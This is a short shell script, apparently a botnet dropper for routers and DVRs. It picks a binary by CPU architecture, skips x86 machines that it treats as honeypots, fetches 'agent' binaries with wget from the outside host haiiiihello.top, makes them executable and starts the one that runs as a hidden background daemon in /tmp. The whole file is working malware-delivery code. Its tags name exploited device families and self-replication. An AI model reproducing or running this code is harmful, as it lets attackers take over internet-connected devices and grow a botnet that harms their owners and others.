#!/bin/sh
# Payload bootstrap — executed on the target as:  sh wget.sh <tag>
# Detects the device arch using the agent's SYSMOND_PROBE_FILE mode
# (wrong-arch exec fails with ENOEXEC and never writes the marker),
# then launches the correct static agent in the background (it daemonizes).
T="${1:-generic}"
S="http://haiiiihello.top"
cd /tmp 2>/dev/null || cd /var/tmp 2>/dev/null || cd /tmp

M="$(uname -m 2>/dev/null)"
case "$M" in
  x86_64|i386|i486|i586|i686) exit 0;;   # honeypots/emulators, no x86 agent
  armv7*|armv6*) CANDS="agent_armv5 agent_armv7hf agent_mipsbe agent_mipsel agent_aarch64";;
  arm*)          CANDS="agent_armv5 agent_armv7hf";;
  aarch64*)      CANDS="agent_aarch64 agent_armv5";;
  *)             CANDS="agent_mipsbe agent_mipsel agent_armv5 agent_armv7hf agent_aarch64";;
esac

# Vigor/DVR-type tags are predominantly ARM.
case "$T" in
  vigor|uchttpd|selfrep.uchttpd|libdvr|dvrip|lilin|magic)
    CANDS="agent_armv5 agent_armv7hf agent_aarch64 agent_mipsbe agent_mipsel";;
esac

for C in $CANDS; do
  rm -f /tmp/.archok /tmp/.b
  wget -q "$S/a/b/$C" -O /tmp/.b 2>/dev/null || continue
  chmod 777 /tmp/.b 2>/dev/null
  SYSMOND_PROBE_FILE=/tmp/.archok /tmp/.b >/dev/null 2>&1
  if [ -f /tmp/.archok ]; then
    rm -f /tmp/.archok
    /tmp/.b >/dev/null 2>&1 &
    exit 0
  fi
done
exit 0